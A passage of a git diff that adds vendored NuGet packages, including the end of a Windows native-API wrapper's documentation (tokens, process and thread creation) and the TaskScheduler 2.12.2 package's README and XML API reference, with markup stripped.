resolved. + The instance of a symbol resolver. Should be disposed when finished. + + + + Enumeration for safer level. + + + + + Constrained. + + + + + Fully trusted. + + + + + Normal user. + + + + + Untrusted. + + + + + Class to access tokens through various mechanisms. + + + + + Logon a user using S4U + + The username. + The user's realm. + + The logged on token. + + + + Get the anonymous token. + + The access rights for the opened token. + The anonymous token. + + + + Get the anonymous token. + + The anonymous token. + + + + Logon a user. + + The username. + The user's domain. + The user's password. + The logon token's type. + Optional list of additonal groups to add. + The logged on token. + + + + Logon a user. + + The username. + The user's domain. + The user's password. + The logon token's type. + Optional list of additonal groups to add. + The Logon provider. + The logged on token. + + + + Logon a user. + + The username. + The user's domain. + The user's password. + The logon token's type. + Optional list of additonal groups to add. + The Logon provider. + True to throw on error. + The logged on token. + + + + Open the current clipboard token. + + + + + + + + Get the token from the clipboard. + + The access rights for the opened token. + The clipboard token. + + + + Get the token from the clipboard. + + The clipboard token. + + + + Derive a package sid from a name. + + The name of the package. + True to throw on error. + The derived Sid + + + + Derive a package sid from a name. + + The name of the package. + The derived Sid + + + + Derive a restricted package sid from an existing pacakge sid. + + The base package sid. + The restricted name for the sid. + True to throw on error. + The derived Sid. + + + + Derive a restricted package sid from an existing pacakge sid. + + The base package sid. + The restricted name for the sid. + The derived Sid. + + + + Derive a restricted package sid from an existing package sid. + + The base package name. + The restricted name for the sid. + The derived Sid. + + + + Get the package SID from a name. + + The name of the package, can be either an SDDL SID or a package name. + The derived SID. + + + + Get a safer token. + + The base token. + The safer level to use. + True to make the token inert. + The safer token. + + + + Get session token for a session ID. + + The session ID. + The session token. + + + + Get tokens for all logged on sessions. + + Needs SeTcbPrivilege to work. + The list of session tokens. + + + + Create an AppContainer token using the CreateAppContainerToken API. + + The token to base the new token on. Can be null. + The AppContainer package SID. + List of capabilities. + True to throw on error. + The appcontainer token. + This exported function was only introduced in RS3 + + + + Create an AppContainer token using the CreateAppContainerToken API. + + The token to base the new token on. Can be null. + The AppContainer package SID. + List of capabilities. + The appcontainer token. + This exported function was only introduced in RS3 + + + + Create an AppContainer token using the CreateAppContainerToken API. + + The AppContainer package SID. + List of capabilities. + The appcontainer token. + This exported function was only introduced in RS3 + + + + Win32 Error Codes. + + + + + Flags for DefineDosDevice + + + + + None + + + + + Specify a raw target path + + + + + Remove existing definition + + + + + Only remove exact matches to the target + + + + + Don't broadcast changes to the system + + + + + Disposition values for CreateFile. + + + + + Create a new file. Fail if it exists. + + + + + Always create a new file, overwrite if it exists. + + + + + Open a file, fail if it doesn't exist. + + + + + Open a file, create if it doesn't exist. + + + + + Truncate existing file. + + + + + Flags for GetWin32PathName. + + + + + No flags. + + + + + GUID format. + + + + + NT format. + + + + + No specific format. + + + + + Opened file name. + + + + + Class representing a win32 process. + + + + + Create process with a token. + + The token to create the process with. + The process configuration. + The created win32 process. + + + + Create process with a token. + + The token to create the process with. + The path to the executable. + The process command line. + Process creation flags. + The desktop name. + The created win32 process. + + + + Create process with a token from a user logon. + + The username. + The user's domain. + The user's password. + Logon flags. + The process configuration. + The created win32 process. + + + + Create process with a token from a user logon. + + The user's credentials. + Logon flags. + The process configuration. + True to throw on error. + The created win32 process. + + + + Create process with a token from a user logon. + + The user's credentials. + Logon flags. + The process configuration. + The created win32 process. + + + + Create process with a token from a user logon. + + The username. + The user's domain. + The user's password. + Logon flags. + The process configuration. + The created win32 process. + + + + Create process with a token from a user logon. + + The username. + The user's domain. + The user's password. + Logon flags. + The path to the executable. + The process command line. + Process creation flags. + The desktop name. + The created win32 process. + + + + Create process with a token. + + The token to create the process with. + The process configuration. + The created win32 process. + + + + Create process. + + The process configuration. + The created win32 process. + + + + Create process. + + Optional parent process. + The path to the executable. + The process command line. + Process creation flags. + The desktop name. + The created win32 process. + + + + Dispose the process. + + + + + Resume the entire process. + + + + + Suspend the entire process. + + + + + Terminate the process + + The exit code for the termination + + + + The handle to the process. + + + + + The handle to the initial thread. + + + + + The process ID of the process. + + + + + The thread ID of the initial thread. + + + + + True to terminate process when disposed. + + + + + Get the process' exit status. + + + + + Get the process' exit status as an NtStatus code. + + + + + Explicit conversion operator to an NtThread object. + + The win32 process + + + + Explicit conversion operator to an NtProcess object. + + The win32 process + + + + Specify the CreateProcess API to use with a Token. + + + + + Use CreateProcessAsUser, if that fails use CreateProcessWithToken. + + + + + Use only CreateProcessAsUser. + + + + + User only CreateProcessWithToken. + + + + + Win32 process creation configuration. + + + + + Specify security descriptor of process. + + + + + Specify process handle is inheritable. + + + + + Specify security descriptor of thread. + + + + + Specify thread handle is inheritable. + + + + + Specify to inherit handles. + + + + + Specify parent process. + + + + + Specify path to application executable. + + + + + Specify command line. + + + + + Specify creation flags. + + + + + Specify environment block. + + + + + Specify current directory. + + + + + Specify desktop name. + + + + + Specify window title. + + + + + True to terminate the process when it's disposed. + + + + + Specify the mitigation options. + + + + + Specify the mitigation options 2. + + + + + Specify win32k filter flags. + + + + + Specify win32k filter level. + + + + + Specify PP level. + + + + + Specify list of handles to inherit. + + + + + Specify the appcontainer Sid. + + + + + Specify the appcontainer capabilities. + + + + + Specify LPAC. + + + + + Restrict the process from creating child processes. + + + + + Override child process creation restriction. + + + + + Set child process mitigation flags. + + + + + Specify new process policy when creating a desktop bridge application. + + + + + Specify a token to use for the new process. + + + + + Specify a stdin handle for the new process (you must inherit the handle). + + + + + Specify a stdout handle for the new process (you must inherit the handle). + + + + + Specify a stderror handle for the new process (you must inherit the handle). + + + + + Specify the package name to use. + + + + + Specify handle to pseudo console. + + + + + Specify Base Named Objects isolation prefix. + + + + + Specify the safe open prompt original claim. + + + + + When specifying the debug flags use this debug object instead of the current thread's object. + + + + + When specified do not fallback to using CreateProcessWithToken if CreateProcessWithUser fails. + + + + + Specify additional extended flags. + + + + + Specify list of handles to inherit. + + + + + Specify a service window station and desktop. + + + + + Specify authentication credentials for CreateProcessWithLogon. + + + + + Specify logon flags for the Credentials or when calling CreateProcessWithToken. + + + + + Specify the type of API to call when specifying a token. + + + + + Specify component filter flags. + + + + + Add an object's handle to the list of inherited handles. + + The object to add. + The raw handle value. + Note that this doesn't maintain a reference to the object. It should be kept + alive until the process has been created. + + + + Add an AppContainer capability by name. + + The name of the capability. + + + + Add an AppContainer capability by name. + + The capability SID. + + + + Set AppContainer SID from a package name. + + The package name. + + + + Constructor. + + + + + Flags for create process. + + + + + No flags. + + + + + Debug process. + + + + + Debug only this process. + + + + + Create suspended. + + + + + Detach process. + + + + + Create a new console. + + + + + Normal priority class. + + + + + Idle priority class. + + + + + High priority class. + + + + + Realtime priority class. + + + + + Create a new process group. + + + + + Create from a unicode environment. + + + + + Create a separate WOW VDM. + + + + + Share the WOW VDM. + + + + + Force DOS process. + + + + + Below normal priority class. + + + + + Above normal priority class. + + + + + Inherit parent affinity. + + + + + Inherit caller priority (deprecated) + + + + + Create a protected process. + + + + + Specify extended startup information is present. + + + + + Process mode background begin. + + + + + Process mode background end. + + + + + Create a secure process. + + + + + Breakaway from a job object. + + + + + Preserve code authz level. + + + + + Default error mode. + + + + + No window. + + + + + Profile user. + + + + + Profile kernel. + + + + + Profile server. + + + + + Ignore system default. + + + + + Flags for CreateProcessWithLogon + + + + + No flags. + + + + + With a profile. + + + + + Using network credentials. + + + + + Win32k filter flags. + + + + + No flags. + + + + + Enable filter. + + + + + Audit filter. + + + + + Flags for create thread. + + + + + No flags. + + + + + Create suspended. + + + + + Stack size is a reservation. + + + + + Specify PPL level. + + + + + None + + + + + Safe level as parent. + + + + + Tcb PPL + + + + + Windows PP + + + + + Windows PPL + + + + + Antimalware PPL + + + + + LSA PPL + + + + + Tcb PP + + + + + Code Generation PPL + + + + + Authenticode PP + + + + + App PPL + + + + + Extended process flags. + + + + + No flags. + + + + + Log elevation failure. + + + + + Ignore elevation requirements. + + + + + Force job breakaway (needs TCB privilege). + + + + + Process mitigation option flags. + + + + + Process mitigation option 2 flags. + + + + + Class representing a service instance. + + + + + The name of the service. + + + + + The description of the service. + + + + + Type of service. + + + + + Image path for the service. + + + + + Command line for the service. + + + + + Service DLL if a shared process server. + + + + + Current service status. + + + + + What controls are accepted by the service. + + + + + Whether the service can be stopped. + + + + + The Win32 exit code. + + + + + The service specific exit code, if Win32ExitCode is Win32Error.ERROR_SERVICE_SPECIFIC_ERROR. + + + + + The checkpoint while starting. + + + + + Waiting hint time. + + + + + Service flags. + + + + + Process ID of the running service. + + + + + The security descriptor of the service. + + + + + The list of triggers for the service. + + + + + The service SID type. + + + + + The service launch protected setting. + + + + + The service required privileges. + + + + + Service start type. + + + + + Whether the service is a delayed auto start service. + + + + + Error control. + + + + + Load order group. + + + + + Tag ID for load order. + + + + + Dependencies. + + + + + The user name this service runs under. + + + + + Type of service host when using Win32Share. + + + + + Service main function when using Win32Share. + + + + + Indicates if this service process is grouped with others. + + + + + The name of the machine this service was found on. + + + + + Overridden ToString method. + + The name of the service. + + + + Utilities for Win32 APIs. + + + + + Get a mask dictionary for a type. + + The enumerated type to query for names. + The valid access. + A dictionary mapping a mask value to a name. + + + + Get a mask dictionary for a type. + + The enumerated type to query for names. + The valid access. + Specify to get the SDK name instead of a formatting enumerated name. + A dictionary mapping a mask value to a name. + + + + Display the edit security dialog. + + Parent window handle. + NT object to display the security. + The name of the object to display. + True to force the UI to read only. + + + + Display the edit security dialog. + + Parent window handle. + The name of the object to display. + The security descriptor to display. + The NT type of the object. + + + + Display the edit security dialog. + + Parent window handle. + The name of the object to display. + The security descriptor to display. + An enumerated type for the access mask. + Generic mapping for the access rights. + Valid access mask for the access rights. + + + + Define a new DOS device. + + The dos device flags. + The device name to define. + The target path. + + + + Get Windows INVALID_HANDLE_VALUE. + + + + + Parse a command line into arguments. + + The parsed command line. + The list of arguments. + + + + Get the image path from a command line. + + The command line to parse. + The image path, returns the original command line if can't find a valid image path. + + + + Get Win32 path name for a file. + + The file to get the path from. + Flags for the path to return. + True to throw on error. + The win32 path. + + + + Get Win32 path name for a file. + + The file to get the path from. + Flags for the path to return. + The win32 path. + + + + Format a message. + + The module containing the message. + The ID of the message. + The message. Empty string on error. + + + + Format a message. + + The ID of the message. + The message. Empty string on error. + + + + Open a file with the Win32 CreateFile API. + + The filename to open. + The desired access. + The share mode. + Optional security descriptor. + True to set the handle as inheritable. + Creation disposition. + Flags and attributes. + Optional template file. + True to throw on error. + The opened file handle. + + + + Open a file with the Win32 CreateFile API. + + The filename to open. + The desired access. + The share mode. + Optional security descriptor. + True to set the handle as inheritable. + Creation disposition. + Flags and attributes. + Optional template file. + The opened file handle. + + + + Open a file with the Win32 CreateFile API. + + The filename to open. + The desired access. + The share mode. + Creation disposition. + Flags and attributes. + True to throw on error. + The opened file handle. + + + + Open a file with the Win32 CreateFile API. + + The filename to open. + The desired access. + The share mode. + Creation disposition. + Flags and attributes. + The opened file handle. + + + + Send key down events. + + The key codes to send. + + + + Send key down events. + + The key codes to send. + + + + Send key down then up events. + + The key codes to send. + This will send all keys down first, then all up. + + + + This creates a Window Station using the User32 API. + + The name of the Window Station. + The Window Station. + + + + Create a remote thread. + + The process to create the thread in. + The thread security descriptor. + Whether the handle should be inherited. + The size of the stack. 0 for default. + Start address for the thread. + Parameter to pass to the thread. + The flags for the thread creation. + True to throw on error. + The created thread. + Thrown on error. + + + + Create a remote thread. + + The process to create the thread in. + The thread security descriptor. + Whether the handle should be inherited. + The size of the stack. 0 for default. + Start address for the thread. + Parameter to pass to the thread. + The flags for the thread creation. + The created thread. + Thrown on error. + + + + Create a remote thread. + + The process to create the thread in. + Start address for the thread. + Parameter to pass to the thread. + The flags for the thread creation. + The created thread. + Thrown on error. + + + + Get a list of all console sessions. + + True to throw on error. + The list of console sessions. + + + + Get a list of all console sessions. + + The list of console sessions. + + + + Write debug string to output. + + The debug string to write. + +
+
diff --git a/packages/TaskScheduler.2.12.2/.signature.p7s b/packages/TaskScheduler.2.12.2/.signature.p7s new file mode 100644 index 0000000..7ceb606 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/.signature.p7s differ diff --git a/packages/TaskScheduler.2.12.2/TaskScheduler.2.12.2.nupkg b/packages/TaskScheduler.2.12.2/TaskScheduler.2.12.2.nupkg new file mode 100644 index 0000000..e38ba8d Binary files /dev/null and b/packages/TaskScheduler.2.12.2/TaskScheduler.2.12.2.nupkg differ diff --git a/packages/TaskScheduler.2.12.2/TaskService.md b/packages/TaskScheduler.2.12.2/TaskService.md new file mode 100644 index 0000000..1580752 --- /dev/null +++ b/packages/TaskScheduler.2.12.2/TaskService.md @@ -0,0 +1,72 @@ +## About +The original and most popular .NET wrapper for the [Windows Task Scheduler](https://docs.microsoft.com/en-us/windows/win32/taskschd/task-scheduler-start-page). It provides functionally complete classes that cover all development aspects related to system tasks. + +More information can be found on the [project page on GitHub](https://github.com/dahall/taskscheduler). + +## Support +Below are links to sites that provide in-depth examples, documentation and discussions. Please go here first with your questions as the community has been active for over a decade. +* [Wiki](https://github.com/dahall/TaskScheduler/wiki) - Sample code, library how-to, troubleshooting, etc. +* [API documentation](https://dahall.github.io/TaskScheduler) - Class/method/property documentation and examples +* [Full Issues Log](https://github.com/dahall/TaskScheduler/issues?q=) - Use the search box to see if your question may already be answered. +* [Discussion Forum](https://github.com/dahall/TaskScheduler/discussions) - Users helping users, enhancement requests, Q&A (retired Google forum [here](https://groups.google.com/forum/#!forum/taskscheduler)) +* [Troubleshooting Tool](https://github.com/dahall/TaskSchedulerConfig) - Tool to help identify and fix configuration and connectivity issues. (ClickOnce installer [here](https://github.com/dahall/TaskSchedulerConfig/blob/master/publish/setup.exe?raw=true)) + +## Key Features +Microsoft introduced version 2.0 (internally version 1.2) with a completely new object model with Windows Vista. The managed assembly closely resembles the new object model but allows the 1.0 (internally version 1.1) COM objects to be manipulated. It will automatically choose the most recent version of the library found on the host system (up through 1.4). Core features include: + +* Separate, functionally identical, libraries for .NET 2.0, 3.5, 4.0, 4.52, 5.0, 6.0, .NET Standard 2.0, .NET Core 2.0, 2.1, 3.0, 3.1. +* Unlike the base COM libraries, this wrapper accommodates creating and viewing tasks up and down stream. +* Supports all V2 native properties, even under V1 tasks. +* Maintain EmailAction and ShowMessageAction using PowerShell scripts for systems after Win8 where these actions have been deprecated. +* Supports all action types (not just ExecAction) on V1 systems (XP/WS2003) and earlier (if PowerShell is installed). +* Supports multiple actions on V1 systems (XP/WS2003). Native library only supports a single action. +* Supports serialization to XML for both 1.0 and 2.0 tasks (base library only supports 2.0) +* Supports task validation for targeted version. +* Supports secure task reading and maintenance. +* Fluent methods for task creation. +* Cron syntax for trigger creation. + +The currently supported localizations include: English, Spanish, Italian, French, Chinese (Simplified), German, Polish and Russian. + +## Usage +You can perform several actions in a single line of code: +```C# +// Run a program every day on the local machine +TaskService.Instance.AddTask("Test", QuickTriggerType.Daily, "myprogram.exe", "-a arg"); + +// Run a custom COM handler on the last day of every month +TaskService.Instance.AddTask("Test", new MonthlyTrigger { RunOnLastDayOfMonth = true }, + new ComHandlerAction(new Guid("{CE7D4428-8A77-4c5d-8A13-5CAB5D1EC734}"))); +``` + +For many more options, use the library classes to build a complex task. Below is a brief example of how to use the library from C#. +```C# +using System; +using Microsoft.Win32.TaskScheduler; + +class Program +{ + static void Main() + { + // Get the service on the remote machine + using (TaskService ts = new TaskService(@"\\RemoteServer", "username", "domain", "password")) + { + // Create a new task definition and assign properties + TaskDefinition td = ts.NewTask(); + td.RegistrationInfo.Description = "Does something"; + + // Create a trigger that will fire the task at this time every other day + td.Triggers.Add(new DailyTrigger { DaysInterval = 2 }); + + // Create an action that will launch Notepad whenever the trigger fires + td.Actions.Add(new ExecAction("notepad.exe", "c:\\test.log", null)); + + // Register the task in the root folder. + // (Use the username here to ensure remote registration works.) + ts.RootFolder.RegisterTaskDefinition(@"Test", td, TaskCreation.CreateOrUpdate, "username"); + } + } +} +``` + +For extended examples on how to the use the library, look at the [Examples Page](https://github.com/dahall/TaskScheduler/wiki/Examples). \ No newline at end of file diff --git a/packages/TaskScheduler.2.12.2/lib/net45/Microsoft.Win32.TaskScheduler.dll b/packages/TaskScheduler.2.12.2/lib/net45/Microsoft.Win32.TaskScheduler.dll new file mode 100644 index 0000000..1ea3c29 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net45/Microsoft.Win32.TaskScheduler.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net45/Microsoft.Win32.TaskScheduler.xml b/packages/TaskScheduler.2.12.2/lib/net45/Microsoft.Win32.TaskScheduler.xml new file mode 100644 index 0000000..741ff76 --- /dev/null +++ b/packages/TaskScheduler.2.12.2/lib/net45/Microsoft.Win32.TaskScheduler.xml @@ -0,0 +1,7855 @@ + + + + Microsoft.Win32.TaskScheduler + + + + Defines the type of actions a task can perform. + The action type is defined when the action is created and cannot be changed later. See . + + + + This action performs a command-line operation. For example, the action can run a script, launch an executable, or, if the name + of a document is provided, find its associated application and launch the application with the document. + + + + This action fires a handler. + + + This action sends and e-mail. + + + This action shows a message box. + + + An interface that exposes the ability to convert an actions functionality to a PowerShell script. + + + + Abstract base class that provides the common properties that are inherited by all action objects. An action object is created by the + method. + + + + List of unbound values when working with Actions not associated with a registered task. + + + Occurs when a property value changes. + + + Gets the type of the action. + The type of the action. + + + Gets or sets the identifier of the action. + + + Creates the specified action. + Type of the action to instantiate. + of specified type. + + + Creates a new object that is a copy of the current instance. + A new object that is a copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Returns the action Id. + String representation of action. + + + Returns a that represents this action. + The culture. + String representation of action. + + + Creates a specialized class from a defined interface. + Version 1.0 interface. + Specialized action class + + + Creates a specialized class from a defined interface. + Version 2.0 Action interface. + Specialized action class + + + Copies the properties from another the current instance. + The source . + + + + Represents an action that fires a handler. Only available on Task Scheduler 2.0. Only available for Task Scheduler 2.0 on + Windows Vista or Windows Server 2003 and later. + + + This action is the most complex. It allows the task to execute and In-Proc COM server object that implements the ITaskHandler + interface. There is a sample project that shows how to do this in the Downloads section. + + + + + + + + + Creates an unbound instance of . + + + Creates an unbound instance of . + Identifier of the handler class. + Addition data associated with the handler. + + + Gets or sets the identifier of the handler class. + + + Gets the name of the object referred to by . + + + Gets or sets additional data that is associated with the handler. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Gets the name for CLSID. + The unique identifier. + + + + + Represents an action that sends an e-mail. Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and + later.This action has been deprecated in Windows 8 and later. However, this library is able to mimic its + functionality using PowerShell if the property is set to . To disable this conversion, set the value to . + + The EmailAction allows for an email to be sent when the task is triggered. + + + + + + + + Creates an unbound instance of . + + + Creates an unbound instance of . + Subject of the e-mail. + E-mail address that you want to send the e-mail from. + E-mail address or addresses that you want to send the e-mail to. + Body of the e-mail that contains the e-mail message. + Name of the server that you use to send e-mail from. + + + + Gets or sets an array of file paths to be sent as attachments with the e-mail. Each item must be a value + containing a path to file. + + + + Gets or sets the e-mail address or addresses that you want to Bcc in the e-mail. + + + Gets or sets the body of the e-mail that contains the e-mail message. + + + Gets or sets the e-mail address or addresses that you want to Cc in the e-mail. + + + Gets or sets the e-mail address that you want to send the e-mail from. + + + Gets or sets the header information in the e-mail message to send. + + + Gets or sets the priority of the e-mail message. + A that contains the priority of this message. + + + Gets or sets the e-mail address that you want to reply to. + + + Gets or sets the name of the server that you use to send e-mail from. + + + Gets or sets the subject of the e-mail. + + + Gets or sets the e-mail address or addresses that you want to send the e-mail to. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Represents an action that executes a command-line operation. + + All versions of the base library support the ExecAction. It only has three properties that allow it to run an executable with parameters. + + + + + + + + + Creates a new instance of an that can be added to . + + + Creates a new instance of an that can be added to . + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + + + Gets or sets the arguments associated with the command-line operation. + + + Gets or sets the path to an executable file. + + + + Gets or sets the directory that contains either the executable file or the files that are used by the executable file. + + + + Determines whether the specified path is a valid filename and, optionally, if it exists. + The path. + if set to true check if file exists. + if set to true throw exception on error. + true if the specified path is a valid filename; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Validates the input as a valid filename and optionally checks for its existence. If valid, the property is + set to the validated absolute file path. + + The file path to validate. + if set to true check if the file exists. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + + Represents an action that shows a message box when a task is activated. Only available for Task Scheduler 2.0 on Windows Vista + or Windows Server 2003 and later.This action has been deprecated in Windows 8 and later. However, this + library is able to mimic its functionality using PowerShell if the property is + set to . To disable this conversion, set the value to . + + Display a message when the trigger fires using the ShowMessageAction. + + + + + + + + Creates a new unbound instance of . + + + Creates a new unbound instance of . + Message text that is displayed in the body of the message box. + Title of the message box. + + + Gets or sets the message text that is displayed in the body of the message box. + + + Gets or sets the title of the message box. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Options for when to convert actions to PowerShell equivalents. + + + + Never convert any actions to PowerShell. This will force exceptions to be thrown when unsupported actions our action quantities + are found. + + + + + Convert actions under Version 1 of the library (Windows XP or Windows Server 2003 and earlier). This option supports multiple + actions of all types. If not specified, only a single is supported. Developer must ensure that + PowerShell v2 or higher is installed on the target computer. + + + + + Convert all and references to their PowerShell equivalents on systems + on or after Windows 8 / Server 2012. + + + + Convert all actions regardless of version or operating system. + + + Collection that contains the actions that are performed by the task. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets or sets the identifier of the principal for the task. + + + + Gets or sets the systems under which unsupported actions will be converted to PowerShell instances. + + The PowerShell platform options. + + This property will affect how many actions are physically stored in the system and is tied to the version of Task Scheduler. + + If set to , then no actions will ever be converted to PowerShell. This will + force exceptions to be thrown when unsupported actions our action quantities are found. + + + If set to , then actions will be converted only under Version 1 of the + library (Windows XP or Windows Server 2003 and earlier). This option supports multiple actions of all types. If not specified, + only a single is supported. Developer must ensure that PowerShell v2 or higher is installed on the + target computer. + + + If set to (which is the default value), then and references will be converted to their PowerShell equivalents on systems + on or after Windows 8 / Server 2012. + + + If set to , then any actions not supported by the Task Scheduler version will be + converted to PowerShell. + + + + + Gets or sets an XML-formatted version of the collection. + + + Gets the number of actions in the collection. + + + Gets or sets a specified action from the collection. + The . + The id ( ) of the action to be retrieved. + Specialized instance. + + + + Mismatching Id for action and lookup. + + + Gets or sets a an action at the specified index. + The zero-based index of the action to get or set. + + + Adds an action to the task. + A type derived from . + A derived class. + The bound that was added to the collection. + + + Adds an to the task. + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + The bound that was added to the collection. + + + Adds a new instance to the task. + Type of task to be created + Specialized instance. + + + Adds a collection of actions to the end of the . + + The actions to be added to the end of the . The collection itself cannot be null and cannot + contain null elements. + + is null. + + + Clears all actions from the task. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Determines whether the specified action type is contained in this collection. + Type of the action. + true if the specified action type is contained in this collection; otherwise, false. + + + + Copies the elements of the to an array of , starting at a particular index. + + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + + + + Copies the elements of the to an array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first + occurrence within the entire collection. + + + The delegate that defines the conditions of the to search for. + + + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Retrieves an enumeration of each of the actions. + + Returns an object that implements the interface and that can iterate through the + objects within the . + + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Determines the index of a specific item in the . + The id ( ) of the action to be retrieved. + The index of if found in the list; otherwise, -1. + + + Inserts an action at the specified index. + The zero-based index at which action should be inserted. + The action to insert into the list. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Removes the action at a specified index. + Index of action to remove. + Index out of range. + + + Copies the elements of the to a new array. + An array containing copies of the elements of the . + + + Returns a that represents the actions in this collection. + A that represents the actions in this collection. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Functions to provide localized strings for enumerated types and values. + + + + + Gets a string representing the localized value of the provided enum. + + The enum value. + A localized string, if available. + + + + Pair of name and value. + + + + + Occurs when a property has changed. + + + + + Initializes a new instance of the class. + + + + + Gets or sets the name. + + + The name. + + + + + Gets or sets the value. + + + The value. + + + + + Clones this instance. + + A copy of an unbound . + + + + Determines whether the specified , is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Returns a hash code for this instance. + + + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Implements the operator implicit NameValuePair. + + The KeyValuePair. + + The result of the operator. + + + + + Contains a collection of name-value pairs. + + + + + Occurs when the collection has changed. + + + + + Occurs when a property has changed. + + + + + Copies current to another. + + The destination collection. + + + + Releases all resources used by this class. + + + + + Gets the number of items in the collection. + + + + + Gets a collection of the names. + + + The names. + + + + + Gets a collection of the values. + + + The values. + + + + + Gets the value of the item at the specified index. + + The index of the item being requested. + The value of the name-value pair at the specified index. + + + + Gets the value of the item with the specified name. + + Name to get the value for. + Value for the name, or null if not found. + + + + Adds an item to the . + + The object to add to the . + + + + Adds a name-value pair to the collection. + + The name associated with a value in a name-value pair. + The value associated with a name in a name-value pair. + + + + Adds the elements of the specified collection to the end of . + + The collection of whose elements should be added to the end of . + + + + Clears the entire collection of name-value pairs. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Removes the name-value pair with the specified key from the collection. + + The name associated with a value in a name-value pair. + true if item successfully removed; false otherwise. + + + + Removes a selected name-value pair from the collection. + + Index of the pair to remove. + + + + Gets the value associated with the specified name. + + The name whose value to get. + When this method returns, the value associated with the specified name, if the name is found; otherwise, null. This parameter is passed uninitialized. + true if the collection contains an element with the specified name; otherwise, false. + + + + Gets the collection enumerator for the name-value collection. + + An for the collection. + + + + Abstract class for throwing a method specific exception. + + + + Defines the minimum supported version for the action not allowed by this exception. + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Gets a message that describes the current exception. + + + + + Gets the minimum supported TaskScheduler version required for this method or property. + + + + + Gets the object data. + + The information. + The context. + + + + Thrown when the calling method is not supported by Task Scheduler 1.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Initializes a new instance of the class. + + The message. + + + + Thrown when the calling method is not supported by Task Scheduler 2.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Thrown when the calling method is not supported by Task Scheduler versions prior to the one specified. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + A strongly-typed resource class, for looking up localized strings, etc. + + + + + Returns the cached ResourceManager instance used by this class. + + + + + Overrides the current thread's CurrentUICulture property for all + resource lookups using this strongly typed resource class. + + + + + Looks up a localized string similar to Call a COM object. + + + + + Looks up a localized string similar to Start a program. + + + + + Looks up a localized string similar to Send an e-mail. + + + + + Looks up a localized string similar to Display a message. + + + + + Looks up a localized string similar to {3} {0:P}. + + + + + Looks up a localized string similar to every day. + + + + + Looks up a localized string similar to {1} {0}. + + + + + Looks up a localized string similar to .. + + + + + Looks up a localized string similar to The date and time a trigger expires must be later than the time time it starts or is activated.. + + + + + Looks up a localized string similar to {0} {1}. + + + + + Looks up a localized string similar to -. + + + + + Looks up a localized string similar to ,. + + + + + Looks up a localized string similar to every month. + + + + + Looks up a localized string similar to Multiple actions defined. + + + + + Looks up a localized string similar to Multiple triggers defined. + + + + + Looks up a localized string similar to {0}. + + + + + Looks up a localized string similar to Author. + + + + + Looks up a localized string similar to Disabled. + + + + + Looks up a localized string similar to Queued. + + + + + Looks up a localized string similar to Ready. + + + + + Looks up a localized string similar to Running. + + + + + Looks up a 